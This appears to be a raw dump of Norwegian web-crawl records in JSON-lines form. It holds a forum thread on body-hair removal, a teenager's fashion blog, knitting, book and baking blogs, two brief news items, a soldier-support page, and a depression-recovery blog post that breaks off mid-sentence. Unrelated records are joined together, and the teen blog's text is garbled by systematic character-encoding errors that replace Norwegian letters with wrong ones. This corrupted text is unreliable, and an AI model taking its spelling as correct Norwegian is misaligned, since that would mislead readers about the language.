\nSkulle den setningen v\u00e6re en melding til noen eller er det ment til forumet? :-)\n\nSkjult ID med pseudonym Lucia ma. 25 aug. 2014 23:11  \n\nHelt latterlig at det naturlige blir sett p\u00e5 som unaturlig...sykt samfunn.\n\n (kvinne 57 \u00e5r fra Hordaland)  ma. 25 aug. 2014 23:11  Privat melding \n\n@HK  \nN\u00e5 fikk jeg meg en god latter :)))\n\nSkjult ID med pseudonym HK ma. 25 aug. 2014 23:27  \n\n@Valhalla  \nSkj\u00f8nner..  \nDa er det litt mottsatt i andre land. Min bestemor dro h\u00e5rene med tyggegymmi og noe blanding av aske og greier for \u00e5 fjerne h\u00e5rene siden de ikke fikk tak i h\u00f8vel eller voks. :-) Det ligger kanskje i ens kultur ogs\u00e5.  \n  \n@Lucia  \nG\u00e5r du til fris\u00f8r noenganger?\n\nSkjult ID med pseudonym Tilia ti. 26 aug. 2014 01:00  \n\nHK: Tror vi skal v\u00e6re forsiktige med \u00e5 blande sammen voksing/barbering og \"vanlig fris\u00f8r\"..hehe - det er vel (forel\u00f8pig iallfall) et f\u00e5tall kvinner som g\u00e5r til fris\u00f8ren og ber dem sm\u00f8re p\u00e5 voks og r\u00f8ske av dem alt h\u00e5ret p\u00e5 hodet, eller barbere kortkort og gjerne bare det v\u00e6re igjen en tynn stripe, eller fjerne alt med laser, s\u00e5 man blir kvitt rubb og stubb for alltid. ;P  \n  \nOg riktignok hender det at noen oppfordrer en venninne om \u00e5 v\u00e6re modig og ta skrittet og f\u00e5 seg en ny frisyre, men jeg trodde ikke det var DER NEDE de mente da..\\! :O  \nOj, kanskje det blir poppis \u00e5 farge h\u00e5ret der nede, ta en liten strukturpermanent hvis kr\u00f8llen har mistet sin krull, eller kanskje hairextensions for en ekstra fyldig og flommende h\u00e5rmanke - haha\\! Noen kommer kanskje inn for bare en \"klipp og f\u00f8n\", men s\u00e5 blir de spurt \"Men hva med noen highlights i dag, Fru Lund? F\u00e5 litt mer liv og spill i h\u00e5ret, liksom...jeg tror det ville sett ordentlig lekkert og ungdommelig ut p\u00e5 deg\\! Skikkelig freeesht, assa\\!\" ;P Hahaha - syns jeg ser modige Fru Lund liggende der med stripe-folier pent dandert der nede...og vente p\u00e5 den p\u00e5f\u00f8lgende sjamponering, deilig n\u00e6rende balsamkur for ekstra blank h\u00e5rpryd, og den tilh\u00f8rende avslappende dypmassasjen\\! hahaha\\!  \n  \nS\u00e5\u00e5eh, ja...kanskje best \u00e5 IKKE sammenligne vanlig fris\u00f8r med dette ..ehm..\"fagfeltet\"... ;P\n\nSkjult ID med pseudonym jaud\u00e5 ti. 26 aug. 2014 04:48  \n\nHaha\\! (over)  \nDet h\u00f8rtes hysterisk ut :-b\n\n (kvinne 57 \u00e5r fra Hordaland)  ti. 26 aug. 2014 14:13  Privat melding \n\nHahaha  \nH\u00e5per aldri den moten kommer, h\u00f8res ut til at de fleste ingrediensene her vil svi litt og vel s\u00e5 det :)))))))\n\nSkjult ID med pseudonym HK ti. 26 aug. 2014 19:38  \n\n@Tilia  \n\"Helt latterlig at det naturlige blir sett p\u00e5 som unaturlig...sykt samfunn.\"  \nMitt sp\u00f8rsm\u00e5l var til Lucia som mener dette.  \nSynes du det er naturlig \u00e5 g\u00e5 til fris\u00f8r og fikse h\u00e5ret, negler, tatoo, sminke, mote.. m.m.. Og unaturlig \u00e5 barbere eller vokse eller hva en vil med sitt skog p\u00e5 kj\u00f8nsorgan eller resten av kroppen. Folk m\u00e5 jo f\u00e5 lov til \u00e5 gj\u00f8re som de f\u00f8ler komfortabel med. At @TS synes det er vanskelig \u00e5 finne en dame med masse h\u00e5r p\u00e5 kroppen og p\u00e5 kj\u00f8nnsorganet viser at det er litt uvanlig ha s\u00e5 mye h\u00e5r p\u00e5 kroppen. Men om noen velger \u00e5 beholde de h\u00e5rene p\u00e5 kroppen og gj\u00f8re alt annet som kalles stell s\u00e5 respekter jeg det uansett, men synes personlig at det ikke er s\u00e5 veldig vakkert \u00e5 se p\u00e5. S\u00e5 derfor sparer jeg ikke p\u00e5 noe som har ingen nyte. Med mindre det kan holde varmen om vinteren da. hehe  \nPS: Jeg gj\u00f8r det fordi jeg synes det ikke ser s\u00e5 vakkert ut ikke for \u00e5 friste mannfolka.\n\nSkjult ID ma. 1 sep. 2014 21:12  \n\nTror og h\u00e5per at h\u00e5ret er tilbake. I f\u00f8lge FB s\u00e5 er det en en del unge jenter som har sluttet fjerne kroppsh\u00e5r. Slutt p\u00e5 kroppsh\u00e5rhysteriet eller noe s\u00e5nt. Jeg fjerner ikke dusken lenger. Ble s\u00e5 plaga med h\u00e5rrotbetennelser. Helt j\u00e6vlig. Pr\u00f8vde alle r\u00e5d for det ogs\u00e5. Var bare et mas med all den h\u00e5rfjerninga. Fjerner bare h\u00e5ret p\u00e5 legger og under armer om sommeren. Ellers lar jeg det gro. Veldig deilig. Slipper sniktrekken p\u00e5 leggene om vinteren.\n\nSkjult ID med pseudonym jaud\u00e5 ma. 1 sep. 2014 21:18  \n\nH\u00e5rlengda krymper vel igjen n\u00e5r flatlusa f\u00e5r nytt fotfeste i befolkningen :-b\n\nSkjult ID med pseudonym jaud\u00e5 ma. 1 sep. 2014 21:27  \n\nSkjeggstussern min hadde vel passet ypperlig. Kan v\u00e6re behjelpelig.\n\nSkjult ID med pseudonym Tilia ma. 1 sep. 2014 21:37  \n\nRegisterer (21.18) at Jaud\u00e5 med andre ord kjenner (flat)lusa p\u00e5 gangen. =/\n\nSkjult ID med pseudonym Tilia ma. 1 sep. 2014 21:39  \nVillrosa\\&Jaud\u00e5: \"Suss, suss, s\u00e5 f\u00e5r du en stuss...\"  \n\\*nynne, tralle\\*\n\nSkjult ID med pseudonym HK ma. 1 sep. 2014 21:48  \n\n@eowyn  \nSilikon glidemiddel mot nupper?? Er du sikker p\u00e5 at det ikke er mot noe annet? :-)\n\n\u00e5hh takk for tipset @eowyn, da skal jeg pr\u00f8ve det. Sliter med det selv faktisk. Hvor ofte m\u00e5 man bruke det da? Holder det \u00e5 sm\u00f8re en gang etter voks/barbering?\n\nSkjult ID med pseudonym nn 2014 ti. 2 sep. 2014 06:06  \n\n\\!\\!\\!\n\nSkjult ID med pseudonym nn 2014 ti. 2 sep. 2014 06:07  \n\nBarberer mye, men ikke alt. Har ikke \u00f8nske om \u00e5 se ut som en forvokst 10 \u00e5ring...\n\nSkjult ID med pseudonym nn 2014 ti. 2 sep. 2014 06:09  \n\nHadde reagert om jeg fikk beskjed om \u00e5 barbere meg f\u00f8r sex...\n\nSkjult ID med pseudonym K\u00e5re ti. 2 sep. 2014 07:25  \n\nJeg ble enig med min ekskone om \u00e5 ta vekk mitt h\u00e5r p\u00e5 brystet, magen og snabben s\u00e5 lenge hun tok vekk sitt. Syntes det funket bra for oss begge. Syntes ikke jeg kan kreve at hun tar vekk sitt uten at jeg m\u00f8tte henne p\u00e5 halvveien. :) Vet ikke hvordan jeg ville ha reagert hvis alle n\u00e5 fikk h\u00e5r igjen.\n\n", "language": "no", "__index_level_0__": "c160b6d4-6823-4be7-baea-ddf862f6d23e"}
{"url": "http://synnesc.blogg.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:08:33Z", "text": "# synnesc\n\nHei\\! Jeg er ei jente p\u013a 15 \u013ar som kommer fra Trondheim. Jeg blogger om min hverdag, sminke og mote. For kontakt/sponsing, send mail til firstname.lastname@example.org :)\n\n## Ny veske\\!\n\nUps, litt lenge siden jeg har blogget n\u013a... For det f\u0159rste s\u013a har det ikke skjedd s\u013a mye de siste dagene, og for det andre har jeg rett og slett ikke orket \u013a blogge. Lat sa du?\n\nUansett, p\u013a onsdag fikk jeg meg en ny veske\\! \u0139h, elsker den allerede. Den er passe stor med nok plass til det jeg trenger i tillegg til at den er s\u013a\u013a fin.\u00a0\u2665\u00a0Kj\u0159pt p\u013a h\\&m for 399kr, ganske billig\\! De har f\u013att inn veldig mange fine vesker i det siste, og jeg fant en som var helt perfekt.\u00a0\n\n  \n  \n  \n  \n  \n  \n\u2665\u2665\n\n**- Hva synes dere om veska?**\n\n## Antrekk\n\nTirsdag... Har egentlig aldri likt tirsdager. Skoledagen er lang og det er alltid mye lekser \u013a gj\u0159re. Menmen, som alltid s\u013a kommer jeg meg gjennom skoledagen. I dag har jeg bare \u0159vd til samfunnsfagpr\u0159ve som vi skal ha i morgen og ikke s\u013a mye mer enn det. V\u0107ret begynner \u013a bli ganske fint her i Trondheim, og i dag var det sol hele skoledagen. Det er s\u013a\u013a herlig \u013a f\u0159le at det begynner \u013a bli v\u013ar\\! F\u013ar bare h\u013ape at det ikke kommer mer sn\u0159, og heller at det bare blir varmere og varmere.\u00a0\n\n  \n  \n\nUansett, her kommer dagens antrekk. Unnskyld for d\u013arlig kvalitet p\u013a bildene...\n\n\n\n  \n  \n  \n  \n  \nHeii. N\u013a sitter jeg og gj\u0159r lekser. Skal \u0159ve til pr\u0159ve og gj\u0159re ferdig en presentasjon til i morgen, s\u013a det haster litt. I dag har jeg bare gjort det vanlige p\u013a skolen. Etter skolen dro jeg til Sirkus sammen med to venninner for \u013a se litt i butikker og spise f\u0159r jeg dro p\u013a turn. N\u013a sitter jeg her og har fortsatt mye lekser \u013a gj\u0159re, s\u013a jeg f\u013ar vel fortsette med det..\n\n  \n  \n  \n\u00a0Supers\u0159t t-skjorte fra Mango\u00a0\u2665\n\n\u00a0\n  \n  \nNeglelakk fra essie. Jeg har p\u013a l\u0159snegler p\u013a disse bildene.\n\n\u00a0\nHeii allesammen\\!\u00a0\n\nJeg har lyst til \u013a lage headere til andre bloggere, fordi det er noe jeg liker \u013a gj\u0159re. S\u013a, om du vil ha en header laget av meg m\u013a du bare skrive en kommentar om hvilke bilder som skal brukes og litt hvordan du vil at den skal se ut.\n\n  \n  \nDenne headeren brukte jeg ikke lang tid p\u013a, og laget den bare som et eksempel.\n\n## Helga i bilder\n\nHei\\! Tenkte jeg skulle dele litt iphonebilder med dere fra \u00a0helga. Har ikke gjort veldig mye, kun v\u0107rt med venner, pugget til RLE-pr\u0159ve og overnattet til Myrth.\n\n\n\n*1. Costume og kakao\u00a0*\u2665 *2. Hengte opp et nytt bilde\u00a0*\u2665 *3. Sn\u0159en holder p\u013a \u013a smelte- igjen..\u00a0*\u2665 *4. Herlig duftlys fra voluspa, elskerelsker det\\!\u00a0*\u2665\n\n  \n\n\n*1. Speilselfie, woho.\u00a0*\u2665 *2. Pizzakveld med de beste\u00a0*\u2665\n\nJepp, det var da alt.\n\nHeei\\! Jeg tenkte at jeg skulle dele favorittsangene mine med dere i dag. Er fortsatt syk, s\u013a det er jo ikke s\u013a mye \u013a blogge om.\n\n  \n**- Noen av sangene dere liker?\u00a0**\nOps, har ikke blogget p\u013a to dager n\u013a, men der er vel ikke s\u013a mye \u013a blogge om n\u013ar man er syk? Droppet turntreninga etter skolen i g\u013ar, og dro i stedet for rett hjem for \u013a sove.N\u013a sitter jeg her i joggebukse, hettegenser, kosesokker og med null sminke.. Te og halspastiller er n\u013a mine beste venner.\n\n\n\n  \n  \nFavoritthettegenseren min, fra PINK/victorias secret\u00a0\u2665\n\nJeg har tenkt \u013a ha sp\u0159rsm\u013alsrunde, s\u013a hvis noen har noen sp\u0159rsm\u013al, hadde det v\u0107rt supert om dere kunne ha delt de med meg\\! Sp\u0159r meg om alt, svarer p\u013a de jeg har lyst til \u013a svare p\u013a. :)\n\n  \n  \n*(Trykk p\u013a bildet for \u013a komme til bloggen)*\n\n\u00a0\nMin favorittblogger for tiden er Lene Orvik. Hun har en fantastisk stil, og tar s\u013a fine bilder. Jeg synes stilen hennes er s\u013a unik, s\u0159t og stilren. Bloggen hennes er rett og slett s\u013a\u013a fin. Hun blogger om mote, skj\u0159nnhet og oppskrifter.\u00a0\u2665\n\n\u00a0\n\n  \n  \n  \n**- Hva synes du om bloggen hennes? Hvem er din favorittblogger?**\n\n## Sirkus shopping\n\n  \n  \n\nDa var jeg hjem fra Sirkus shopping. Det var s\u013a\u013a kult, for man kunne bli tatt bilde av der, ogs\u013a blir man kontaktet om man er en \"aktuell modell\". Jeg pr\u0159vde meg p\u013a det jeg ogs\u013a for moro skyld, s\u013a f\u013ar vi sehvordan det g\u013ar\\! Hadde v\u0107rt helt utrolig g\u0159y \u013a f\u013a en modelljobb.\n\nKj\u0159pte ogs\u013a litt forskjellig. Det var ikke salg p\u013a kj\u0159pesenteret, men det ble noen ting likevel. Trengte litt sm\u013ating til rommet osv.\n\n\n**- Hva synes dere om innkj\u0159pene?\u00a0**\u2665\n## Breakfast time\n\n\n\nSpennende bilde av mat, Synne. Veldig spennende...\n\nAnyways, i dag har jeg kanskje tenkt \u013a dra til byen eller m\u0159te noen venner. Skal ihvertfall f\u013a gjort noe, og ikke kaste bort l\u0159rdagen p\u013a netflix. Det er toilldag i byen i dag, noe som betyr at det er massemasse salg p\u013a aalt muig\\! Pr\u0159ver egentlig \u013a spare, men vi f\u013ar vel se om jeg kj\u0159per meg noe.\u00a0\n\nI kveld begynte det faktisk \u013a sn\u0159, og det sn\u0159r fortsatt. Det er helt sykt, for vi har ikke hatt sn\u0159 i Trondheim p\u013a neste tre m\u013aneder. Siden det fortsatt sn\u0159r, s\u013a kan jeg dessverre ikke dra ut og ta bilder til en ny header. Haha, headeren jeg har n\u013a er bare midlertidig til jeg f\u013ar fiksa en bedre en.\n\n**- Hva er deres planer for i dag?\u00a0**\u2665\n\n  - 15.03.2014 kl.10:28 i Diverse\n## Fridayyy\n\n\n\nAner ikke hvorfor dette bildet ble s\u013a veeldig lyst. Haha, irriterende...\n\n  \nAh, pizza\u00a0\u2665  \n  \n\u00a0\n\n\u0139h, det er helg igjen\\! Ukene g\u013ar s\u013a utrolig fort. Har hatt unormalt lite \u013a gj\u0159re av lekser denne uka, derfor har jeg tatt meg tid til \u013a gj\u0159re andre ting som \u013a ordne litt p\u013a rommet slappe av.\n\nI dag har jeg ikke gjort noe spesielt. Var igjen etter skolen for \u013a \u0159ve p\u013a en dans vi skal framf\u0159re i musikken, kom hjem, laget meg mat og satte meg ned foran pcen. N\u013a tror jeg at jeg snart skal dra for \u013a trene i hallen. Det er s\u013a\u013a praktisk \u013a ha en friidrettshall 5 minutter unna der man bor, da er det s\u013a enkelt \u013a dra og trene.\n\n**- Hva har dere gjort hittil i dag?**\n\n  - 14.03.2014 kl.18:00 i Diverse\n## \u0158nskeliste fra nelly\n\n", "language": "no", "__index_level_0__": "888381e6-eacf-4dcc-a854-3a57792789ca"}
{"url": "http://by-marianne.blogspot.com/2012/03/magnetband.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:49:51Z", "text": "    \n\n## l\u00f8rdag 24. mars 2012\n\n### Magnetb\u00e5nd\n\nI dag fikk jeg en pakke med magnetb\u00e5nd i posten.\n\n  \n\n\nDisse har jeg bestilt fra Karipia. Endelig skal det bli slutt p\u00e5 limrester etter post-it lapper i mine strikkeb\u00f8ker.\n\n\n\n  \n\n## *\u00d8nsker dere alle en riktig\u00a0god helg\\!*\n\nDet n\u00e6rmer seg siste frist for \u00e5 bli med p\u00e5 min give away, trekning 25/3\n\n  \n\nMarianne  kl. \n\n00:26:00       \n\n#### 5 kommentarer:\n\n1.  \n    \n    \u00c5se-Lill24. mars 2012 kl. 06:42\n    \n    S\u00e5 lurt med magnetb\u00e5nd:-) Det har jeg aldri sett f\u00f8r..  \n    God helg til deg:-)\n    \n2.  \n    \n    Tildemor24. mars 2012 kl. 12:52\n    \n    Disse var kule ob meget brukervennlige vil jeg si (uten \u00e5 ha pr\u00f8vd:) Hater merker i heftene mine\\! samler naturligvis p\u00e5 oppskrifter i alle tenkelige og utenkelige farianter, og det verste som finnes, er merker og lim i oppskriftene mine\\!:(  \n      \n    Kanskje det blir noen slike p\u00e5 meg etterhvert ogs\u00e5\\!:)  \n      \n    Gleder meg til trekning i din give away i morra, og vil gjerne minne om min egen give away, med trekning s\u00e5 snart jeg har n\u00e5dd 15 f\u00f8lgere;)  \n      \n    Helge klem fra Tildemor\\!\n    \n3.  \n    \n    Huset p\u00e5 kullen24. mars 2012 kl. 20:29\n    \n    Det var ju smart med magnetband. Kanon bra om man ska m\u00f6nster sticka vilket bra tips du delade med dig av. Ha en underbar kv\u00e4ll o njut av solen i morgon kram Beijan\n    \n4.  \n    \n    nattugglan25. mars 2012 kl. 12:43\n    \n    \n5.  \n    \n    Tonemor25. mars 2012 kl. 18:44\n    \n    S\u00e5 lurt.  \n    Klem Tone\n    \n  - Marianne  \n    Hei\\! Velkommen til bloggen min:)Jeg heter Marianne og er 48 \u00e5r. Gift med Espen, sammen har vi to herlige jenter p\u00e5 17 og 22 \u00e5r. Jeg skriver om hverdagsliv, interi\u00f8r, reiser og h\u00e5ndarbeidsprosjekter. Koselig om du legger igjen et spor etter deg:-)\n\n", "language": "no", "__index_level_0__": "909dc498-1833-49c4-afe2-f1efbd551ba6"}
{"url": "https://etdrysskanel.com/2011/09/13/film-i-bokform/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:10:34Z", "text": "## A Sprinkle of Cinnamon\n\n\n\n# Film i bokform\n\nPostet den 13. september 2011 av Synne Cinnamon\n\n*Movie Charts* av Paul Copperwaite: Mye moro for tretti kroner p\u00e5 bakg\u00e5rdssalg hos Tronsmo.\n\n\n\nEn grafisk fremstilling av mange kjente filmer, nye som gamle. Noen forst\u00e5r man med \u00e9n gang, andre krever litt tankevirksomhet. Jeg har ikke sett alle filmene som er med, men n\u00e5 f\u00e5r jeg ekstra lyst\\! Humor og inspirasjon i ett\\!\n\n\n\n\n\n\n\n\n\n\n\nS\u00e5 enkelt kan det gj\u00f8res\\!\n\n\u2190 Sett p\u00e5 runden: Lydb\u00f8ker og litt\u00a0trolldom\n## 7 tanker p\u00e5 \"Film i bokform\"\n\n1.   Maren sier:\n    \n    13\\. september 2011, kl. 23:39\n    \n    S\u00e5nne b\u00f8ker er s\u00e5 morsomme\\! Folk har s\u00e5 god fantasi alts\u00e5 :DOg takk for i dag, det er ordentlig fint \u00e5 se deg \\<3 Kveldsklem til min favorittSynne\\!\n    \n2.   Hege sier:\n    \n    13\\. september 2011, kl. 23:45\n    \n    Hahaha, for en kul bok :-D en s\u00e5nn skulle jeg jo hatt p\u00e5 jobben (kinoen)..\n    \n3.   David sier:\n    \n    14\\. september 2011, kl. 09:07\n    \n    Hehe, den s\u00e5 fin ut\\!\n    \n4.   slikejenter sier:\n    \n    14\\. september 2011, kl. 09:43\n    \n    Haha, jeg s\u00e5 akkurat den samme typen bok, bare om musikk da jeg var i York. What wouldn't Meatloaf do for love? 100% \u2013 That. Hahhaha :D\n    \n5.   Anonymous sier:\n    \n    14\\. september 2011, kl. 20:34\n    \n    yesterday..just lit bit ridiculous i was \u2026 \"oi, oi,oi\".. the movie i never wanted to be in, as first actor\u2026\u2026 -\" le ridicule ne tue pas quand on en a conscience\u2026 proverbe yiddish:- quand un \"Shlemiel\" tombe sur le dos, il se casse le nez.( qu'est-ce qu'un \"Shlemeil \", demandez- vous, eh bien c'est quelqu'un qui, quand il tombe sur le dos ,se casse le nez\\!\\!\\!) bon ,( en psychanalyse le dos repr\u00e9sente l'inconscient.. )bien a vous ;bruno\n    \n6.   Linda Terese sier:\n    \n    14\\. september 2011, kl. 23:21\n    \n    S\u00e5 morsomt\\!\\! Et utrolig herlig funn:)\n    \n7.   Synne sier:\n    \n    15\\. september 2011, kl. 20:45\n    \n    S\u00e5nne sm\u00e5 fjasefunn gj\u00f8r meg glad\\!Hege: Oi, ja, det ville v\u00e6rt fin jobblektyre\\!slikejenter: Kult, jeg har h\u00f8rt om den\\! Hahah, n\u00e5 fikk jeg Meatloaf p\u00e5 hjernen\\!Bruno: I did not know that\\! Thanks\\!\n    \n# Bonjour\\!\n\nJeg heter Synne. Jeg er en glad geek som liker eventyr, vin, vintage, katter og hverdagsmagi. Jeg vil helst reise hele tida, men heldigvis er de sm\u00e5 gledene \u00e5 oppdrive overalt, og som frilanser kan jeg jobbe hvor jeg vil\\! For \u00f8yeblikket bor jeg i Oslo.  \n\u2013 \u2013 \u2013 \u2013 \u2013  \nMy name is Synne. I'm a Norwegian geek who likes adventures, wine, vintage, cats and everyday magic. I'd love to travel all the time, but luckily the little joys in life are everywhere, and as a freelancer I can work from wherever\\! These days I live in Oslo.\n\n# Sunn fornuft-plakaten\n\n\n\nAll words and photos belong to Synne, unless otherwise stated and linked.  \nLoaning requires linking. Thanks\\!\n\n# Glad i mat og vin?\n", "language": "no", "__index_level_0__": "f58d4f41-4e56-45c3-be54-a7fe67d7c34f"}
{"url": "http://thesmartypants.blogg.no/1340380536_bakemesterne.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:27:10Z", "text": "Bakemesterne\n\n\n\n\u00a0Jeg er hos Gj\u00f8ri n\u00e5, og vi baker franske makroner. Hehehe, v\u00e5re ble ikke s\u00e5\u00e5\u00e5 kule som de over. Men de er unike, og det er f\u00f8rste gang vi har laget slike. S\u00e5, det g\u00e5r greit\\!\u00a0Vi skal ut senere. Blir sikkert bra\\! Vet ikke helt hva det er vi skal enda, men vi finner sikkert p\u00e5 noe digg. \"L\u00f8fte taket, l\u00f8fte taket\" ;)\n\n\u00a0**Ha en fin fredag folkens\\!**\n\n*\u00a0 \u00a0 xoxo, Inga*\n\nhttp://ingap.blogg.no/\u00a0ta gjerne en tur innom\n\n  \n\u00a0\u00a01 kommentarer p\u00e5 \"Bakemesterne\"  \n  \n\n**Postet av: Julie**\n\nFint bilde\\! :)\n\n23.06.2012, 16:24  \n*URL: http://www.julieejh.blogg.no*\n\n  \n", "language": "no", "__index_level_0__": "928c187b-540e-4e7d-adfb-ce2cd0d72355"}
{"url": "https://www.nettavisen.no/nyheter/ker-i-green-reefers/1865638.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:36:31Z", "text": "# \u00d8ker i Green Reefers\n\nStyreformann Kristian Eidesvik i kj\u00f8leskipsrederiet Green Reefers har kj\u00f8pt seg videre opp i rederiet\n\nIf\u00f8lge en melding har Eidesvik via sitt selskap Caiano Ship AS kj\u00f8pte 162.000 aksjer i Green Reefers ASA torsdag. Aksjen ble kj\u00f8pt p\u00e5 kurs 5,80 kroner.  \n  \nEtter dette eier Kristian Eidesvik og selskaper kontrollert av ham 50.919.694 aksjer i selskapet, tilsvarende 36,31 prosent.\n\n", "language": "no", "__index_level_0__": "a8629169-e3ea-41bc-8360-eae5a98ffb72"}
{"url": "https://www.nrk.no/nordland/--tar-selvkritikk-1.86946", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-25T00:33:02Z", "text": "# \\- Tar selvkritikk\n\n\n\nBr\u00f8nn\u00f8y kommune tar selvkritikk for forholdene ved luftambulansen i Br\u00f8nn\u00f8ysund. Det sier helse- og sosialsjef i Br\u00f8nn\u00f8y, Ole Inge Jenssen.\n\nEn unders\u00f8kelse har avdekket sv\u00e6rt graverende forhold ved luftambulansen i Br\u00f8nn\u00f8ysund.\n\nBlant annet har ansatte f\u00e5tt d\u00e5rlig oppl\u00e6ring og det er funnet medisinsk utstyr som er g\u00e5tt ut p\u00e5 dato for 15 \u00e5r siden.\n\nKommunen burde fulgt opp manglene sier Jenssen, men han mener ogs\u00e5 at Nordland fylkeskommune har et ansvar.\n\n  Publisert  11.03.2002, kl. 13.57    Oppdatert  11.03.2002, kl. 14.05 \n\n", "language": "no", "__index_level_0__": "f946f5b3-5229-41bb-ae0a-1114ff33ad4b"}
{"url": "http://stottvaaresoldater.no/c-51-%E2%80%9DSt%C3%B8tt-v%C3%A5re-soldater%E2%80%9D-er-politisk-uavhengig.aspx", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:06:25Z", "text": "# \"St\u00f8tt v\u00e5re soldater\" skal:\n\n  \n\\- Skape bred oppslutning og anerkjennelse av soldater - tidligere og n\u00e5v\u00e6rende - uavhengig av hvor de tjenestegj\u00f8r.  \n\\- St\u00f8tte den enkelte soldats innsats selv om man ikke st\u00f8tter oppdraget som myndighetene har p\u00e5lagt dem \u00e5 l\u00f8se.  \n  \nHusk at det er enkeltindividet du st\u00f8tter - mennesket i uniformen.  \n  \n*Det g\u00e5r med andre ord an \u00e5 v\u00e6re uenig i politiske beslutninger om milit\u00e6r innsats med norske styrker, men samtidig kunne gi v\u00e5re soldater en klapp p\u00e5 skulderen for den jobben de gj\u00f8r.*\n\n", "language": "no", "__index_level_0__": "7baceb8a-b642-4b90-9659-fcf6e7f0ad25"}
{"url": "http://vannlandet.blogspot.com/2013/11/alt-forandres-veiskiller-byr-pa-seg-selv.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:33:55Z", "text": "## l\u00f8rdag 9. november 2013\n\n### Alt forandres. Veiskiller byr p\u00e5 seg selv.\n\n\n\n  \nHelga har tutla seg innp\u00e5. I Bergen er himmelen gr\u00e5, og asfalten svart etter regn. Back in black, er et utrykk som ofte kan tas i bruk med tanke p\u00e5 asfalten her vestp\u00e5. Og spesielt p\u00e5 denne tiden av \u00e5ret. Selv er jeg ogs\u00e5 pakket inn i svart, her jeg sitter. Svart T-skjorte, svart bukse, svarte sokker og svart bokser. Det eneste som bryter det svarte er noen sm\u00e5 hvite prikker p\u00e5 det ene buksebeinet. Prikkene er resultatet av slumsing p\u00e5 atelieret, dvs hvit maling som var tiltenkt noe helt annet enn \u00e5 pryde buksa. Fordelen med svarte kl\u00e6r er at p\u00e5 dem kan en g\u00e5 over med en svart sprittusj og skjule prikkene.\n\n  \nUnntatt findressen, blir s\u00e5 og si alle kl\u00e6r og sko f\u00f8r eller siden preget av det jeg holder p\u00e5 med. Noe som irriterer Min Kj\u00e6re. S\u00e5 for ikke lenge siden kj\u00f8pte jeg meg et par nye sko som jeg for\u00f8ker \u00e5 ikke bruke mens jeg maler. Og jeg har klart det til n\u00e5. Fremdeles er de rene og pene. Alt for \u00e5 tilfredsstille min kj\u00e6re, selv om gevinsten kanskje er st\u00f8rst for meg selv.\n\n  \nI det siste har det blitt lite nye prikker av maling p\u00e5 kl\u00e6rne mine ogs\u00e5. For jeg har b\u00e5ret p\u00e5 en depresjon de siste par m\u00e5nedene. S\u00e5 det har ikke blitt s\u00e5 mye jobb p\u00e5 meg. Men n\u00e5 har jeg kommet ut av den, og selv om dagens blogg viser et gammelt bilde, er jeg i full gang med et nytt. Yeiii\\!\n\n  \n\u00c5 komme ut av en depresjon er deilig. Om noen har opplevd det s\u00e5 vet de hva jeg snakker om. Plutselig blir en oppmerksom p\u00e5 fargene rundt seg igjen. Tomheten forsvinner og arbeidslysten finner feste. Glede f\u00e5r plass der sorgen r\u00e5det grunnen. \u00a0Og selv om en har spist p\u00e5 seg noen kilo under deppinga f\u00f8ler en seg lettere p\u00e5 foten enn p\u00e5 lenge.\n\n  \nEn som ikke har g\u00e5tt igjennom en depresjon, og derfor heller ikke det med \u00e5 komme ut av den igjen, vet ingenting om denne opplevelsen av \u00e5 kaste av seg en b\u00f8r og kjenne p\u00e5 lykke en trodde en hadde mistet evnen til. Er en inne i en depresjon tror en lett at det aldri g\u00e5r over. Men det g\u00e5r over. F\u00f8r eller siden. Oftest f\u00f8r. Noen ganger etter veldig lang tid. Men tid kommer, akkurat som med r\u00e5d. S\u00e5 det er viktig \u00e5 minne seg selv p\u00e5 den kunnskapen, enten den er selvopplevd eller blir formidlet til en fra noen annen. Slik som fra meg n\u00e5. Ting g\u00e5r over, livet blir bedre. Det er ingen grunn til \u00e5 ta livet av seg eller kaste ting en ikke ser verdien av lenger p\u00e5 sj\u00f8en. Ingen grunn til \u00e5 gi slipp p\u00e5 alt som tidligere betydde noe. Ingen grunn til \u00e5 tro at livet med ett har blitt uforanderlig. At forandringen som ledet til depresjonen er den siste forandringen en er i stand til \u00e5 f\u00e5 oppleve. For ny forandring kommer. Ikke p\u00e5 den m\u00e5ten at alle utfordringer, alle regninger blir borte samtidig, men en f\u00e5r tilbake evnen til \u00e5 b\u00e6re regningene uten at en knekker under vekten. En blir i stand til \u00e5 smile igjen uten at en f\u00f8ler seg skilt fra smilet. En blir i stand til \u00e5 ta inn over seg andre mennesker igjen, i stand til \u00e5 v\u00e6re tilstede i sosiale sammenhenger, i stedet for \u00e5 f\u00f8le at en st\u00e5r utenfor alt og alle, og titter inn p\u00e5 seg selv.\n\n  \nAlt faller, f\u00f8r eller siden faller alt, sier Juha i boka En komikers oppvekst\u00a0av Jonas Gardell. Og i blant f\u00f8les det slik. Men alt vokser ogs\u00e5, til og med gode ting, selv om en i blant f\u00f8ler seg skilt fra opplevelsen av det. Alt forandres. Veiskiller byr p\u00e5 seg selv. H\u00e5p finner mulighetens h\u00e5nd, og g\u00e5r leiende sammen framover igjen. Ting blir bedre.\n\n  \nAt ting blir bedre var viktig for meg \u00e5 huske p\u00e5, mens jeg l\u00e5 litt nede disse ukene jeg mistet meningen ved livet. Skal en ha noe festet med en magnet p\u00e5 